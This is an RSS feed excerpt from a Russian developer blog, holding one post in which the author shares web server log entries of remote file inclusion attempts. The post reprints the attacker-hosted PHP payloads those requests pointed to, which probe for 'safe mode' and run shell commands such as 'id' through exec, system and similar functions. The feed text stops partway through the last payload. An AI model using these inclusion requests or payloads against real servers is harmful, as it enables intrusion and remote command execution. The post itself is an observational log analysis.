<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>заметки на полях &#187; hack attempt</title>
	<atom:link href="http://svdev.ru/tag/hack-attempt/feed/" rel="self" type="application/rss+xml" />
	<link>http://svdev.ru</link>
	<description>Блокнот разработчика</description>
	<lastBuildDate>Wed, 19 May 2010 07:42:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hacking часть II</title>
		<link>http://svdev.ru/blog/hacking-part-2/</link>
		<comments>http://svdev.ru/blog/hacking-part-2/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 16:18:14 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[hack attempt]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/blog/hacking-%d1%87%d0%b0%d1%81%d1%82%d1%8c-ii/</guid>
		<description><![CDATA[Продолжаю серию забавных вещей из логов:
client: 188.126.37.18, server: ***, request: &#34;GET ////?_SERVER[DOCUMENT_ROOT]=http://photoworld.com.ua////zfxid1.txt??
Файлик zfxid1.txt следующего содержания:
zfxid.txt
&#60;?php /* ZFxID */ echo&#40;&#34;Shiro&#34;.&#34;Hige&#34;&#41;; die&#40;&#34;Shiro&#34;.&#34;Hige&#34;&#41;; /* ZFxID */ ?&#62;
Дальше интересней
client: 89.38.128.140, server: ***, request: &#34;GET /easy-git//?_SERVER[DOCUMENT_ROOT]=http://hiiraginao.com//test.gif??
client: 89.38.128.140, server: ***, request: &#34;GET //?_SERVER&#91;DOCUMENT_ROOT&#93;=http://hiiraginao.com//test.gif??
Файлик test.gif следующего содержания:
&#60;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.0 Transitional//EN&#34;&#62;
&#60;!-- saved from url=(0036)http://www.depo.org.pk/images/21/ts? --&#62;
&#60;HTML&#62;&#60;HEAD&#62;&#60;TITLE&#62;SysTrojan&#60;/TITLE&#62;
&#60;META http-equiv=Content-Type content=&#34;text/html; charset=windows-1252&#34;&#62;
&#60;META content=&#34;MSHTML 6.00.2900.5512&#34; [...]]]></description>
			<content:encoded><![CDATA[<p>Продолжаю серию забавных вещей из логов:<span id="more-422"></span></p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 188.126.37.18, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET ////?_SERVER[DOCUMENT_ROOT]=http://photoworld.com.ua////zfxid1.txt??</span></div></div>
<p>Файлик zfxid1.txt следующего содержания:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">zfxid.txt<br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #666666; font-style: italic;">/* ZFxID */</span> <span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Shiro&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;Hige&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Shiro&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;Hige&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">/* ZFxID */</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Дальше интересней</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 89.38.128.140, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET /easy-git//?_SERVER[DOCUMENT_ROOT]=http://hiiraginao.com//test.gif??<br />
client: 89.38.128.140, server: ***, request: &quot;</span>GET <span style="color: #000000; font-weight: bold;">//</span>?_SERVER<span style="color: #7a0874; font-weight: bold;">&#91;</span>DOCUMENT_ROOT<span style="color: #7a0874; font-weight: bold;">&#93;</span>=http:<span style="color: #000000; font-weight: bold;">//</span>hiiraginao.com<span style="color: #000000; font-weight: bold;">//</span>test.gif??</div></div>
<p>Файлик test.gif следующего содержания:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&gt;<br />
&lt;!-- saved from url=(0036)http://www.depo.org.pk/images/21/ts? --&gt;<br />
&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;SysTrojan&lt;/TITLE&gt;<br />
&lt;META http-equiv=Content-Type content=&quot;text/html; charset=windows-1252&quot;&gt;<br />
&lt;META content=&quot;MSHTML 6.00.2900.5512&quot; name=GENERATOR&gt;&lt;/HEAD&gt;<br />
&lt;BODY bgColor=#dc143c&gt;<br />
&lt;H1&gt;Wrong Place&lt;/H1&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;uid&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Windows&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;net start&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Safe Mode of this Server is : &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SafemodeOFF&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
<a href="http://www.php.net/ini_restore"><span style="color: #990000;">ini_restore</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/ini_restore"><span style="color: #990000;">ini_restore</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;open_basedir&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;uid&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Windows&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;net start&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Safe Mode of this Server is : &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SafemodeOFF&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Safe Mode of this Server is : &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SafemodeON&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> ex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/exec"><span style="color: #990000;">exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/join"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'shell_exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/shell_exec"><span style="color: #990000;">shell_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'system'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/system"><span style="color: #990000;">system</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'passthru'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/is_resource"><span style="color: #990000;">is_resource</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/popen"><span style="color: #990000;">popen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!@</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$res</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/pclose"><span style="color: #990000;">pclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$res</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/BODY&gt;&lt;/HTML&gt;</div></div>
<p>Ну и последний на сегодня</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 89.185.231.103, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET //?_SERVER[DOCUMENT_ROOT]=http://www.solmae.co.kr/upload/bbs/conf2.txt????</span></div></div>
<p>и файлик conf2.txt следующего содержания:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span><br />
<br />
<span style="color: #000088;">$dir</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/getcwd"><span style="color: #990000;">getcwd</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$ker</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/php_uname"><span style="color: #990000;">php_uname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;1&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;7&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$OS</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #009900; font-weight: bold;">PHP_OS</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br&gt;OSTYPE:<span style="color: #006699; font-weight: bold;">$OS</span>&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br&gt;Kernel:<span style="color: #006699; font-weight: bold;">$ker</span>&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$free</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/disk_free_space"><span style="color: #990000;">disk_free_space</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Free:&quot;</span><span style="color: #339933;">.</span>view_size<span style="color: #009900;">&#40;</span><span style="color: #000088;">$free</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$cmd</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$eseguicmd</span><span style="color: #339933;">=</span>ex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$eseguicmd</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> ex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/exec"><span style="color: #990000;">exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/join"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'shell_exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/shell_exec"><span style="color: #990000;">shell_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'system'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/system"><span style="color: #990000;">system</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'passthru'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/is_resource"><span style="color: #990000;">is_resource</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/popen"><span style="color: #990000;">popen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!@</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$res</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/pclose"><span style="color: #990000;">pclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$res</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> view_size<span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/is_numeric"><span style="color: #990000;">is_numeric</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">else</span> <br />
<span style="color: #009900;">&#123;</span> <br />
